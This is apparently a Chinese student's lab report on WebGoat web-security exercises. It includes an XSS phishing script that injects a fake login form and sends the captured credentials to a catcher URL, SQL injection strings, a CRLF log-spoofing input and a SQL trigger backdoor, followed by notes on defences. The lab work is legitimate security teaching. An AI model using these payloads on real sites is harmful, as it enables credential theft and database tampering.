20155331《网络对抗》 Exp9 Web安全基础
20155331《网络对抗》 Exp9 Web安全基础
实验过程
WebGoat
在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。


打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,使用默认的账号密码即可登陆。


XSS攻击
Phishing with XSS 跨站脚本钓鱼攻击
任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击
在文本框里面注入代码:
</form>
<script>
function hack()
{
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("You've been attacked ... Your Identity information were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
跳出一个攻击者编写的填写用户名和密码的表单

攻击成功,获取用户名和密码

Reflected XSS 反射型XSS攻击
在code框中输入

Stored XSS Attacks 存储型XSS攻击
打开Stored XSS Attacks,在Message里输入

CSRF攻击
Cross Site Request Forgery(CSRF)
查看页面右边Parameters中的src和menu值

message框中输入代码:
提交后生成一个链接dzdd:

点击学号名即可查看用户操作的信息,攻击成功
CSRF Prompt By-Pass
查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:

提交后生成一个链接5331:

点击学号名即可查看用户操作的信息,攻击成功

SQL注入攻击
SQL字符串注入
使用SQL注入查看ID卡号码,根据提示输入Smith,查询名为Smith的所有信息

可以发现,这样就轻松得到了名为Smith的ID卡号
输入'or 1='1,构成永真式

Numeric SQL Injection
可以发现此选择框是一个下拉框,是无法修改,因此可使用BurpSuite抓包修改

打开BurpSuite,在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5331,确认后会在Options下增加一行,勾选新形成的这一行


点击浏览器,更多选项卡,选择preference,advanced,选择network页标签,在connection那一行选settings

在弹出的窗口中设置代理服务器和端口

设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:

右键选择send to repeater,进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1

Log Spoofing
在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果,破解成功:



LAB: SQL Injection of stage 1
使用字符串SQL注入绕过认证。利用SQL注入日志作为老板('neville”)没有使用正确的密码。验证neville的配置文件可以查看和所有功能可用
选择用户名为neville的admin用户,输入永真式' or 1=1 --为密码,输入时发现密码框文本长度设置不够构造永真式,执行右键->Inpect Element with Firebug,手动修改密码长度为11(永真式长度)

登录成功

Database Backdoors
使用字符串SQL注入执行多个SQL语句。第一个是系统的,第二个是你的。帐户ID是101。这个页面允许你看到你的密码,SSN和工资。尝试注入另一个更新更新工资到更高的东西
输入101,得到了该用户的信息:

输入注入语句:101; update employee set salary=100000,可以看到工资上涨。

使用语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='xiejialing@qq.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的:

基础问题回答
SQL注入攻击原理,如何防御?
攻击原理
SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
预防
1、 普通用户与系统管理员用户的权限要有严格的区分。
2、 强迫使用参数化语句。
3、 加强对用户输入的验证。
4、 多多使用SQL Server数据库自带的安全参数。
5、必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
XSS攻击的原理,如何防御?
攻击原理:
跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码注入到网页上或者数据库存储里面,在访问网页或者执行网页上功能是就会触发,实现攻击。
防御方法:
对于用户输入的攻击,只允许输入合法的值,其它值一概过滤掉。
CSRF攻击原理,如何防御?
攻击原理:
通过劫持会话,伪造身份等方式来达到一些非法目的,例如转账,支付等
防御方法:
使用验证码,表单中附加随机值,以此来防止冒充,在对于用户的隐私数据尽量进行加密处理,加密传输
实验总结
感觉平常上网时危险还是挺多的,可以通过各种的方法实现攻击,所以在做网站编程的时候应该对用户输入的信息做出合理的判断,从而保证用户安全。
20155331《网络对抗》 Exp9 Web安全基础的更多相关文章
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145308 《网络对抗》Web安全基础实践 学习总结
20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...
- 20145315何佳蕾《网络对抗》Web安全基础
20145315何佳蕾<网络对抗>Web安全基础 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页 ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20155206《网络对抗》Web安全基础实践
20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...
- 20155305《网络对抗》Web安全基础实践
20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155307《网络对抗》Web安全基础实践
20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155311《网络对抗》Web安全基础实践
20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155338《网络对抗》Web安全基础实践
20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...
随机推荐
- atitit.网络文件访问协议.unc smb nfs ftp http的区别
atitit.网络文件访问协议.unc smb nfs ftp http的区别 1. 网络文件访问协议1 2. NETBios协议 2 3. SMB(Server Message Block)2 3 ...
- Android GetMethodID 函数的说明
GetFieldID是得到java类中的参数ID,GetMethodID得到java类中方法的ID,它们只能调用类中声明为 public的参数或方法.使用如下: jfieldID topicField ...
- JS截取字符串方法实例
// JS截取字符串可使用 substring()或者slice() // // 函数:substring() // 定义:substring(start,end)表示从start到end之间的字符串 ...
- RecyclerView源码解析 - 分割线
猜想: 既然考虑了分割线,那么子View在测量时候肯定要去考虑分割线留出的位置 直接measureChild()方法 猜想: 分割线会调用绘制的方法 onDraw()
- keystone令牌三种生成方式
keystone认证方式:UUID.PKI.Fernet; 知识点复习: 通俗的讲,token 是用户的一种凭证,需拿正确的用户名/密码向 Keystone 申请才能得到.如果用户每次都采用用户名/密 ...
- python常用模块之subprocess
python常用模块之subprocess python2有个模块commands,执行命令的模块,在python3中已经废弃,使用subprocess模块来替代commands. 介绍一下:comm ...
- Sql Server与.Net(C#)中星期值对比
最近发现Sql Server与.Net(C#)中星期值居然不匹配,倒不知道依哪一个了. 1.Sql Server declare @date datetime; set @date = '2017-0 ...
- MySQL MTS复制: hitting slave_pending_jobs_size_max
测试步骤: 从库停止复制:stop slave; 主库创建大表400万条记录. 开启从库复制:start slave; 监测从库error log持续输出: 2018-12-06T10:40:52.6 ...
- 【转】Spring学习---Spring IoC容器的核心原理
[原文] Spring的两个核心概念:IoC和AOP的雏形,Spring的历史变迁和如今的生态帝国. IoC和DI的基本概念 IoC(控制反转,英文含义:Inverse of Control)是Spr ...
- git status 显示中文和解决中文乱码
目录 git status 显示中文和解决中文乱码 解决git status不能显示中文 解决git bash 终端显示中文乱码 通过修改配置文件来解决中文乱码 git status 显示中文和解决中 ...